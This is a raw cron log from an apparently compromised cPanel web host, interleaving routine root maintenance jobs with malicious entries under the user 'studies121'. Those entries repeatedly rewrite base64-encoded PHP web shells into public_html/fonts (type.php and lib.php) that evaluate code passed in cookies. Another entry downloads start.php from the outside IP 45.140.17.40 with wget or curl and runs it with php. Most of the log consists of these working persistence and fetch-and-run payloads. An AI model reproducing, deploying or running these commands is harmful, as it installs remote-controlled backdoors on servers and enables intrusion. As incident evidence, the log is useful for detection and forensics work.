Sep 20 05:14:01 ip-184-168-122-23 CROND[31569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:14:01 ip-184-168-122-23 CROND[31570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:14:01 ip-184-168-122-23 CROND[31571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:15:01 ip-184-168-122-23 CROND[31807]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 05:15:01 ip-184-168-122-23 CROND[31810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:15:01 ip-184-168-122-23 CROND[31808]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 05:15:01 ip-184-168-122-23 CROND[31811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:15:01 ip-184-168-122-23 CROND[31812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:15:01 ip-184-168-122-23 CROND[31809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:16:01 ip-184-168-122-23 CROND[32128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:16:01 ip-184-168-122-23 CROND[32130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:16:02 ip-184-168-122-23 CROND[32133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:16:02 ip-184-168-122-23 CROND[32135]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:16:02 ip-184-168-122-23 CROND[32136]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 05:16:02 ip-184-168-122-23 CROND[32140]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:17:01 ip-184-168-122-23 CROND[32380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:17:01 ip-184-168-122-23 CROND[32381]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:17:01 ip-184-168-122-23 CROND[32385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:17:01 ip-184-168-122-23 CROND[32386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:18:01 ip-184-168-122-23 CROND[32619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:18:01 ip-184-168-122-23 CROND[32620]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:18:01 ip-184-168-122-23 CROND[32621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:18:01 ip-184-168-122-23 CROND[32622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:18:01 ip-184-168-122-23 CROND[32624]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:19:01 ip-184-168-122-23 CROND[404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:19:01 ip-184-168-122-23 CROND[406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:19:01 ip-184-168-122-23 CROND[408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:19:01 ip-184-168-122-23 CROND[410]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:20:01 ip-184-168-122-23 CROND[687]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:20:01 ip-184-168-122-23 CROND[686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:20:02 ip-184-168-122-23 CROND[692]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 05:20:02 ip-184-168-122-23 CROND[693]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 05:20:02 ip-184-168-122-23 CROND[691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:20:02 ip-184-168-122-23 CROND[695]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 05:20:02 ip-184-168-122-23 CROND[696]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:20:02 ip-184-168-122-23 CROND[690]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 05:20:02 ip-184-168-122-23 CROND[697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:21:01 ip-184-168-122-23 CROND[1038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:21:01 ip-184-168-122-23 CROND[1039]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:21:01 ip-184-168-122-23 CROND[1043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:21:01 ip-184-168-122-23 CROND[1044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:22:01 ip-184-168-122-23 CROND[1264]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:22:01 ip-184-168-122-23 CROND[1266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:22:01 ip-184-168-122-23 CROND[1268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:22:01 ip-184-168-122-23 CROND[1269]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:22:01 ip-184-168-122-23 CROND[1267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:23:01 ip-184-168-122-23 CROND[1556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:23:01 ip-184-168-122-23 CROND[1557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:23:01 ip-184-168-122-23 CROND[1554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:23:01 ip-184-168-122-23 CROND[1555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:24:01 ip-184-168-122-23 CROND[1792]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:24:01 ip-184-168-122-23 CROND[1794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:24:01 ip-184-168-122-23 CROND[1797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:24:01 ip-184-168-122-23 CROND[1795]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:24:01 ip-184-168-122-23 CROND[1796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:25:01 ip-184-168-122-23 CROND[2048]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:25:01 ip-184-168-122-23 CROND[2050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:25:01 ip-184-168-122-23 CROND[2053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:25:01 ip-184-168-122-23 CROND[2051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:25:01 ip-184-168-122-23 CROND[2052]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 05:25:01 ip-184-168-122-23 CROND[2054]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 05:26:01 ip-184-168-122-23 CROND[2322]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:26:01 ip-184-168-122-23 CROND[2323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
